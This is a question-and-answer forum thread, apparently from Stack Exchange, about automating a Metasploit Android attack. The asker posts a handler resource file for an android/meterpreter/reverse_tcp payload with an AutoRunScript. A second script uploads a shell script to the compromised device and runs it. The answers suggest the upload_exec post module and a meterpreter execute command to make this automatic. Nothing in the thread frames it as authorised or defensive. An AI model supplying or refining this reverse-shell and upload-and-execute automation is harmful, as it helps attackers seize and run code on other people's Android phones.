I try to make a Metasploit AutoRunScript for android. The First .rc file has this config

use exploit/multi/handler
set PAYLOAD android/meterpreter/reverse_tcp
set LHOST xxx.xxx.xxx.xxx (my IP)
set LPORT 4545
set AutoRunScript multi_console_command -r /root/Desktop/commands.rc
exploit -j -z

This is the second .rc file (commands.rc)

upload /root/Desktop/and.sh /data/data/com.metasploit.stage/files
cd /data/data/com.metasploit.stage/files 
sh and.sh

The problem is after the shell command is executed the sh and.sh and the exit commands are not executed. If I type manually the sh and.sh and the exit commands it's working. The question is how can I make this commands to be executed? Any suggestions are welcome and appreciated!


Apart from the standarduser's answer, you can use post/multi/manage/upload_exec to automatically upload and execute the binary on remote machines. This module can work both with meterpreter as well as shell payloads.

|improve this answer|||||

It's possible the shell is getting stuck once it gets dropped down.

Try running your command via the built in meterpreter shell command.

execute -i -f "/bin/bash /data/data/com.metasploit.stage/files/and.sh"

I have not tested this exact command with a space in it, but it will start you in the right direction.

|improve this answer|||||

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.